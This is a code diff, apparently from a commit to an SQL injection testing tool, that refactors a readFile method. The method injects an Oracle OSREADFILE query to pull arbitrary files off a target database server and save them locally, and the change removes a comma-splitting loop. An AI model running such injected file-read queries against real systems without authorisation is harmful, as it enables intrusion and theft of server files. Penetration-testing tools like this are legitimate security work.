@@ -31,25 +31,24 @@ def readFile(self, remoteFile):
3131 payload = agent .payload (newValue = query )
3232 Request .queryPage (payload , content = False , raise404 = False , silent = True , noteResponseTime = False )
3333
34- for remoteFile in remoteFile .split (',' ):
35- if not kb .bruteMode :
36- infoMsg = "fetching file: '%s'" % remoteFile
37- logger .info (infoMsg )
34+ if not kb .bruteMode :
35+ infoMsg = "fetching file: '%s'" % remoteFile
36+ logger .info (infoMsg )
3837
39- kb .fileReadMode = True
40- fileContent = inject .getValue ("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile , charsetType = CHARSET_TYPE .HEXADECIMAL )
41- kb .fileReadMode = False
38+ kb .fileReadMode = True
39+ fileContent = inject .getValue ("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile , charsetType = CHARSET_TYPE .HEXADECIMAL )
40+ kb .fileReadMode = False
4241
43- if not isNoneValue (fileContent ):
44- fileContent = decodeDbmsHexValue (fileContent , True )
42+ if not isNoneValue (fileContent ):
43+ fileContent = decodeDbmsHexValue (fileContent , True )
4544
46- if fileContent .strip ():
47- localFilePath = dataToOutFile (remoteFile , fileContent )
48- localFilePaths .append (localFilePath )
45+ if fileContent .strip ():
46+ localFilePath = dataToOutFile (remoteFile , fileContent )
47+ localFilePaths .append (localFilePath )
4948
50- elif not kb .bruteMode :
51- errMsg = "no data retrieved"
52- logger .error (errMsg )
49+ elif not kb .bruteMode :
50+ errMsg = "no data retrieved"
51+ logger .error (errMsg )
5352
5453 return localFilePaths
5554
0 commit comments